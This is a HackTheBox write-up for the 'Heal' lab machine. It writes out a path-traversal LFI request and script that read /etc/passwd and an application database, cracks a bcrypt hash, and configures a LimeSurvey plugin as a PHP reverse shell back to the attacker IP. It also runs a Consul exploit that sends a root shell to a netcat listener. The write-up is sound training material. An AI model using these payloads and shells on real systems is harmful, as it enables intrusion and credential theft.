Heal – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Medium
  • Platform: HackTheBox

Avatar heal


Summary Link to heading

“Heal” is a Medium machine from HackTheBox platform. After searching for subdomain and directories in those subdomains, we find a function that allow us to download files from the web target. This function is vulnerable to Local File Inclusion, which eventually let us to know the existance of a database file in the system. We can download this file using this vulnerability, and get a password for a LimeSurvey panel. This panel is vulnerable to CVE-2021-44967, which allows a Remote Code Execution as an authenticated user. Abusing this vulnerability, we gain access into the target machine and find a configuration file with a password. This password is used by one of the users in the system, allowing us to gain access as an initial user. Once inside the target machine, we can see an internal service running Consul. This software is running a vulnerable version that allows another Remote Code Execution. After establishing a tunnel, we are able to run this exploit against the internal service and get access as root user, compromising the system.


User Link to heading

We start with a quick scan with Nmap looking for open TCP ports:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.46

We only have 2 ports open: 22 SSH and 80 HTTP.

Applying some recognition scans with -sVC flag over these ports we get:

❯ sudo nmap -sVC -p22,80 10.10.11.46

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-21 01:06 -03
Nmap scan report for 10.10.11.46
Host is up (0.49s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_  256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.89 seconds

From the output we can see that we have a domain: heal.htb

We add this domain to our /etc/hosts file:

❯ echo '10.10.11.46 heal.htb' | sudo tee -a /etc/hosts

Visiting then http://heal.htb shows a webpage with a login portal:

Heal 1

The site says that it is a webpage to build fast Resumes.

If we attempt to create an account there is an error that does not allow us to create one:

Heal 2

But if we go to the main page, refresh and pass the credentials for our recently created used they work. We can now see:

Heal 4

If we add some info and create a PDF the page shows, as it says at home page, a Resumee:

Heal 5

In the Resumee Builder page (after we log in with our account), there is a Survey button. Clicking on it redirects to a new page http://heal.htb/survey:

Heal 6

Looking where Take the Survey button goes redirects to the domain take-survey.heal.htb. We add this subdomain to our /etc/hosts, now it looks like:

❯ tail -n 1 /etc/hosts

10.10.11.46 heal.htb take-survey.heal.htb

Once added, we can click on the button Take the Survey. The page presents a simple survey:

Heal 7

But if we visit http://take-survey.heal.htb/ we can now see some info:

Heal 8

We have a contact ralph@heal.htb, who should be the administrator for the survey page.

Searching for directories through a Brute Force Directory Listing with Gobuster in this webpage we get some of them:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://take-survey.heal.htb/ -x php -t 20 -s 200,301 -b ''

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:            http://take-survey.heal.htb/
[+] Method:         GET
[+] Threads:        55
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes:   301,200
[+] User Agent:     gobuster/3.6
[+] Extensions:     php
[+] Timeout:        10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 75816]
/admin                (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/admin/]
/plugins              (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/plugins/]
===============================================================
Finished
===============================================================

We can see an /admin directory. Visiting http://take-survey.heal.htb/admin shows a login panel:

Heal 9

But we don’t have credentials. So we might come back to this site later.

We can then search by vhosts using ffuf and a dictionary from SecLists:

❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt:FUZZ -u http://heal.htb -H 'Host: FUZZ.heal.htb' -fs 178

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://heal.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.heal.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________

api                     [Status: 200, Size: 12515, Words: 469, Lines: 91, Duration: 247ms]
:: Progress: [19966/19966] :: Job [1/1] :: 153 req/sec :: Duration: [0:02:09] :: Errors: 0 ::

We get a subdomain: api.heal.htb.

We add this new subdomain to our /etc/hosts file, so now it looks like:

❯ tail -n 1 /etc/hosts

10.10.11.46 heal.htb take-survey.heal.htb api.heal.htb

Visiting then http://api.heal.htb shows:

Heal 3

The site is running Ruby (Ruby on Rails). But nothing besides this.

Back to Resume Builder with out created account, we intercept the request sent when we attempt to create a PDF file. We intercept the request with Burpsuite and select the option Do intercept -> Response to this request:

Heal 10

We eventually get the request with GET:

GET /download?filename=../../../../../../etc/passwd HTTP/1.1
Host: api.heal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ
Origin: http://heal.htb
DNT: 1
Connection: close
Referer: http://heal.htb/

Where filename is a random filename the PDF is saved in our machine. If we change filename parameter to ../../../../../../../etc/passwd to see if we have a Local File Inclusion we get a response:

Heal 11

This parameter is vulnerable to LFI.

We can then create a simple Python script to read different files in the system using the Jason Web Token from the session:

import requests
import argparse
from sys import exit as sys_exit

# URL containing LFI vulnerability
url: str = "http://api.heal.htb:80/download?filename="


def parse_arguments()->argparse.Namespace:
    """
    Get arguments from user
    """
    parser = argparse.ArgumentParser(description="LFI script for HTB Heal machine.")
    # Add optional arguments with flags
    parser.add_argument("-f", "--file", type=str, help="Absolute path to file to read through LFI", required=True)
    parser.add_argument("--jwt", type=str, help="Jason Web Token session", required=True)

    # Return the parsed arguments
    return parser.parse_args()


def read_file(args:argparse.Namespace)->None:
    """
    LFI exploit
    """
    lfi_url = url + args.file
    headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", 
               "Accept": "application/json, text/plain, */*", 
               "Accept-Language": "en-US,en;q=0.5", 
               "Accept-Encoding": "gzip, deflate, br", 
               "Authorization": f"Bearer {args.jwt}", 
               "Origin": "http://heal.htb", 
               "DNT": "1", "Connection": "close", 
               "Referer": "http://heal.htb/"}
    r = requests.get(lfi_url, headers=headers)
    if r.status_code == 404:
        print(f"[-] File {args.file!r} not found")
        sys_exit(1)
    if r.status_code != 200:
        print(f"[-] Invalid status code: {r.status_code}")
        sys_exit(1)
    print(r.text)


def main()->None:
    # Get arguments from user
    args = parse_arguments()
    # Execute Local File Inclusion
    read_file(args)


if __name__ == "__main__":
    main()

We test the script, passing as arguments the absolute path of the file we want to read and the JWT from the session:

❯ python3 lfi.py -f '../../../../../../etc/passwd' --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ'

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
<SNIP>

It works!

Filtering by potential users, excluding rootand postgres, we have 2 users:

❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../../../../../etc/passwd' | grep 'sh$'

root:x:0:0:root:/root:/bin/bash
ralph:x:1000:1000:ralph:/home/ralph:/bin/bash
postgres:x:116:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
ron:x:1001:1001:,,,:/home/ron:/bin/bash

ralph and ron are new users. We are not able to read potential SSH keys for these users:

❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../../../../../home/ralph/.ssh/id_rsa'
[-] File '../../../../../../home/ralph/.ssh/id_rsa' not found

❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../../../../../home/ron/.ssh/id_rsa'
[-] File '../../../../../../home/ron/.ssh/id_rsa' not found

Now, since http://api.heal.htb was running Ruby on Rails we can check its configuration files. Based on this, the file config/application.rb should exist. After playing with some paths with out script, we eventually can read a file:

❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../config/application.rb'

require_relative "boot"

require "rails/all"

# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)

module ResumeApi
  class Application < Rails::Application
    # Initialize configuration defaults for originally generated Rails version.
    config.load_defaults 7.1

    # Please, add to the `ignore` list any other `lib` subdirectories that do
    # not contain `.rb` files, or that should not be reloaded or eager loaded.
    # Common ones are `templates`, `generators`, or `middleware`, for example.
    config.autoload_lib(ignore: %w(assets tasks))

    # Configuration for the application, engines, and railties goes here.
    #
    # These settings can be overridden in specific environments using the files
    # in config/environments, which are processed later.
    #
    # config.time_zone = "Central Time (US & Canada)"
    # config.eager_load_paths << Rails.root.join("extras")

    # Only loads a smaller set of middleware suitable for API only apps.
    # Middleware like session, flash, cookies can be added back manually.
    # Skip views, helpers and assets when generating a new resource.
    config.api_only = true
  end
end

After reading some of the documentation, to configure a database we should have the file config/database.yml. Attempting to read this file we get:

❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../config/database.yml'

# SQLite. Versions 3.8.0 and up are supported.
#   gem install sqlite3
#
#   Ensure the SQLite 3 gem is defined in your Gemfile
#   gem "sqlite3"
#
default: &default
  adapter: sqlite3
  pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
  timeout: 5000

development:
  <<: *default
  database: storage/development.sqlite3

# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
  <<: *default
  database: storage/test.sqlite3

production:
  <<: *default
  database: storage/development.sqlite3

We have 2 files being used: storage/test.sqlite3 and storage/development.sqlite3.

If we attempt to read them through the script we get:

❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../storage/development.sqlite3'

¿QLite format 3@ .vä
}„(÷
  ∫ÅT55ÇKtablear_internal_metadataar_internal_metadataCREATE TABLE "ar_internal_metadata" ("key" varchar NOT NULL PRIMARY KEY, "value" varchar, "created_at" datetime(6) NOT NULL, "updated_at" datetime(6) NOT NULL)G[5indexsqlite_autoindex_ar_internal_metadata_1ar_internal_metadatx// 
<SNIP>
07:49:07.2690482024-09-27 07:49:07.269049O##AAenvironmentdevelopment2024-09-27 07:49:07.2666762024-09-27 07:49:07.266679
·Ò·#schema_sha1#        environment

Just a bunch of data. Since the original webpage was designed to download a PDF, we can go back to Burpsuite, intercept the request and attempt to download the file:

GET /download?filename=../../storage/development.sqlite3 HTTP/1.1
Host: api.heal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ
Origin: http://heal.htb
DNT: 1
Connection: close
Referer: http://heal.htb/

We have a downloaded a file .pdf, but if we check the downloaded file we see it’s an SQLite file:

❯ file ~/Downloads/4fbf8c3e57d43f60461c.pdf

/home/gunzf0x/Downloads/4fbf8c3e57d43f60461c.pdf: SQLite 3.x database, last written using SQLite version 3045002, writer version 2, read version 2, file counter 2, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 2

Rename this file and read it using SQLite:

❯ mv ~/Downloads/4fbf8c3e57d43f60461c.pdf ./development.sqlite3

❯ sqlite3 development.sqlite3

SQLite version 3.46.0 2024-05-23 13:25:27
Enter ".help" for usage hints.
sqlite>

In the database we have a users table. Extract some info from this table:

sqlite> .tables

ar_internal_metadata  token_blacklists
schema_migrations     users

sqlite> PRAGMA table_info(users);

0|id|INTEGER|1||1
1|email|varchar|0||0
2|password_digest|varchar|0||0
3|created_at|datetime(6)|1||0
4|updated_at|datetime(6)|1||0
5|fullname|varchar|0||0
6|username|varchar|0||0
7|is_admin|boolean|0||0

sqlite> select email,username,is_admin,password_digest from users;

ralph@heal.htb|ralph|1|$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG
gunzf0x@gunzf0x.htb|gunzf0x|0|$2a$12$8xVXNUtPJhaHR1.kFl7h0uA.6KO6LrRkub9/uPA3brg0x20KeWgwe

We have a hash for ralph user.

We save ralph hash into a file named ralph_hash and attempt to crack it through a Brute Force Password Cracking with john and rockyou.txt dictionary:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt ralph_hash

Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
147258369        (?)
1g 0:00:00:12 DONE (2024-12-21 02:42) 0.07770g/s 38.46p/s 38.46c/s 38.46C/s single..147258
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

We got a password: 147258369.

We check if this password works for ralph user, that we have seen that existed in the victim machine, to log in through SSH with NetExec:

❯ nxc ssh 10.10.11.46 -u 'ralph' -p '147258369'

SSH         10.10.11.46     22     10.10.11.46      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH         10.10.11.46     22     10.10.11.46      [-] ralph:147258369

This password does not work.

What about the survey site? We can go to the admin panel at http://take-survey.heal.htb/admin and use the credentials ralph@heal.htb and password 147258369. They worked and we are in:

Heal 12

If we go at the bottom of the page we can see a version for LimeSurvey: LimeSurvey Community Edition Version 6.6.4.

Searching for exploits for this version and software we find this Github exploit that is an authenticated Remote Code Execution using a vulnerability labeled as CVE-2021-44967. Since we do have credentials it should work. We need to edit config.xml for the exploit to work. We add the line <version>6.0</version> to it and touch some little details, so now it looks like:

<?xml version="1.0" encoding="UTF-8"?>
<config>
    <metadata>
        <name>gunzf0x</name>
        <type>plugin</type>
        <creationDate>2020-03-20</creationDate>
        <lastUpdate>2020-03-31</lastUpdate>
        <author>gunzf0x</author>
        <authorUrl>https://github.com/Y1LD1R1M-1337</authorUrl>
        <supportUrl>https://github.com/Y1LD1R1M-1337</supportUrl>
        <version>5.0</version>
        <license>GNU General Public License version 2 or later</license>
        <description>
		<![CDATA[Author : gunzf0x`></description>
    </metadata>

    <compatibility>
        <version>3.0</version>
        <version>4.0</version>
        <version>5.0</version>
        <version>6.0</version>
    </compatibility>
    <updaters disabled="disabled"></updaters>
</config>

Where, again, we have added the line <version>6.0</version>.

Additionally, we need to edit php-rev.php. We change the first lines to:

<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.4';  // CHANGE THIS
$port = 443;       // CHANGE THIS
<SNIP>

Where 10.10.16.4 is our attacker IP address and 443 the port we will start listening with netcat to establish a reverse shell.

Compress both files that we will upload into a .zip file:

❯ zip gunzf0x_exploit config.xml php-rev.php

  adding: config.xml (deflated 57%)
  adding: php-rev.php (deflated 61%)

Start a listener with netcat on port 443:

❯ nc -lvnp 443

listening on [any] 443 ...

Then, just follow the instructions from the webpage. Go to Configuration, then Plugins and click on Upload & Install. We install the generated zip file. Once installed we can see that our plugin is there:

Heal 13

Click on ... at the plugin and click on Activate. Then, just visit http://take-survey.heal.htb/upload/plugins/gunzf0x/php-rev.php:

❯ curl -s http://take-survey.heal.htb/upload/plugins/gunzf0x/php-rev.php

and we get a shell as www-data user:

❯ nc -lvnp 443
listening on [any] 443 ...

connect to [10.10.16.4] from (UNKNOWN) [10.10.11.46] 42780
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 06:26:33 up  2:32,  0 users,  load average: 0.02, 0.02, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

After searching for some passwords at /var/www we find:

www-data@heal:~/limesurvey$ grep -ir 'password' . 2>/dev/null | grep -vE '\.js|remix|tmp|\.css|release|\.lss' | grep 'config' | grep '\$'

./vendor/phpmailer/phpmailer/src/DSNConfigurator.php:            $mailer->Password = $config['pass'];
./application/commands/InstallFromConfigCommand.php:                    'password' => password_hash((string) $this->configuration['config']['defaultpass'], PASSWORD_DEFAULT),
./application/core/LSYii_Application.php:        $this->config['emailsmtppassword'] = LSActiveRecord::encryptSingle($this->config['emailsmtppassword']);
./application/core/ConsoleApplication.php:           $this->config['emailsmtppassword'] = LSActiveRecord::encryptSingle($this->config['emailsmtppassword']);
./application/config/config.php:                        'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
./application/config/config.php:                        'password' => 'AdmiDi0_pA$$w0rd',
./application/config/email.php:$config['emailsmtpuser']      = ''; // SMTP authorisation username - only set this if your server requires authorization - if you set it you HAVE to set a password too
<SNIP>

Reading /var/www/limesurvey/application/config/config.php file shows:

www-data@heal:~/limesurvey$ cat ./application/config/config.php

<?php if (!defined('BASEPATH')) exit('No direct script access allowed');
<SNIP>
return array(
        'components' => array(
                'db' => array(
                        'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
                        'emulatePrepare' => true,
                        'username' => 'db_user',
                        'password' => 'AdmiDi0_pA$$w0rd',
                        'charset' => 'utf8',
                        'tablePrefix' => 'lime_',
<SNIP>

We have a password for a PostgreSQL database: AdmiDi0_pA$$w0rd.

We check if this password works for ralph or ron user with NetExec:

❯ nxc ssh 10.10.11.46 -u 'ralph' -p 'AdmiDi0_pA$$w0rd'

SSH         10.10.11.46     22     10.10.11.46      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH         10.10.11.46     22     10.10.11.46      [-] ralph:AdmiDi0_pA$$w0rd

❯ nxc ssh 10.10.11.46 -u 'ron' -p 'AdmiDi0_pA$$w0rd'

SSH         10.10.11.46     22     10.10.11.46      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH         10.10.11.46     22     10.10.11.46      [+] ron:AdmiDi0_pA$$w0rd  Linux - Shell access!

And they do work for ron user. So we have credentials: ron:AdmiDi0_pA$$w0rd.

Connect to the victim machine through SSH:

❯ sshpass -p 'AdmiDi0_pA$$w0rd' ssh -o stricthostkeychecking=no ron@10.10.11.46

<SNIP>
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


ron@heal:~$

We can finally read the user flag.


Root Link to heading

Checking internal ports open we have many of them:

ron@heal:~$ ss -nltp

State               Recv-Q              Send-Q                           Local Address:Port                             Peer Address:Port              Process
LISTEN              0                   244                                  127.0.0.1:5432                                  0.0.0.0:*
LISTEN              0                   4096                             127.0.0.53%lo:53                                    0.0.0.0:*
LISTEN              0                   511                                    0.0.0.0:80                                    0.0.0.0:*
LISTEN              0                   1024                                 127.0.0.1:3001                                  0.0.0.0:*
LISTEN              0                   511                                  127.0.0.1:3000                                  0.0.0.0:*
LISTEN              0                   128                                    0.0.0.0:22                                    0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:8301                                  0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:8300                                  0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:8302                                  0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:8500                                  0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:8503                                  0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:8600                                  0.0.0.0:*
LISTEN              0                   128                                       [::]:22                                       [::]:*

We check if any of these internal ports are websites using cURL against them. If we get a response they might be internal websites. For this we check them through a Bash oneliner:

ron@heal:~$ for port in 3000 3001 5432 8300 8301 8302 8500 8503 8600; do echo "[+] Requesting port $port"; curl -s "http://127.0.0.1:$port" | head -n 5; done

[+] Requesting port 3000
<!DOCTYPE html>
<html lang="en">
  <head>

    <meta name="viewport" content="width=device-width, initial-scale=1" />
[+] Requesting port 3001
[+] Requesting port 5432
[+] Requesting port 8300
[+] Requesting port 8301
[+] Requesting port 8302
[+] Requesting port 8500
<a href="/ui/">Moved Permanently</a>.

[+] Requesting port 8503
[+] Requesting port 8600

Port 3000 and 8500 show responses, so they might be internal websites.

We exit from the current SSH session and reconnect to the target machine with a Local Port Forwarding to convert port 3000 of the victim machine into our port 3000, and port 8500 of the victim machine into our port 8500:

❯ sshpass -p 'AdmiDi0_pA$$w0rd' ssh -o stricthostkeychecking=no -L 3000:127.0.0.1:3000 -L 8500:127.0.0.1:8500 ron@10.10.11.46

If we go to a web browser and visit http://127.0.0.1:3000 it just shows the same webpage shown at http://heal.htb. But if we visit http://127.0.0.1:8500 we get:

Heal 14

The site is running Consul v1.19.2, as we can see at the bottom left side of the page.

Info
Consul is a service networking solution to automate network configurations, discover services, and enable secure connectivity across any cloud or runtime.

This service is being executed by root, as can be seen if we check processes in the victim machine:

ron@heal:~$ ps aux | grep root | grep consul

root         982  0.5  2.7 1357476 108528 ?      Ssl  03:54   1:02 /usr/local/bin/consul agent -server -ui -advertise=127.0.0.1 -bind=127.0.0.1 -data-dir=/var/lib/consul -node=consul-01 -config-dir=/etc/consul.d

Searching for consul exploit shows the following exploit from exploit-db. We download it as exploit.py and execute it:

❯ python3 exploit.py

[-] Usage: python3 exploit.py <rhost> <rport> <lhost> <lport> <acl_token>

The only parameter we do not know what is, is <acl_token>.

Searching acl token consul we find this developer page. Basically, it is the token to log into the page. Since we don’t have one, I assume it is kind of a null session or the value just does not exist. So we can just pass 0 as <acl_token>. We can find more information about anonymous tokens here. With all the info, and after starting a new listener with netcat on port 443, just run the exploit:

❯ python3 exploit.py 127.0.0.1 8500 10.10.16.4 443 0

[+] Request sent successfully, check your listener

where 127.0.0.1 is the localhost -hosting the internal service due to Local Port Forwarding-, 8500 is the port for the internal service with the tunnel, 10.10.16.4 is our attacker IP (the IP address we want to send the reverse shell), 443 is our listening port with netcat and 0 as the acl_token value.

After some seconds, we get a shell as root:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.46] 38294
bash: cannot set terminal process group (9195): Inappropriate ioctl for device
bash: no job control in this shell
root@heal:/# whoami

whoami
root

GG. We can read the root flag at /root directory.

~Happy Hacking.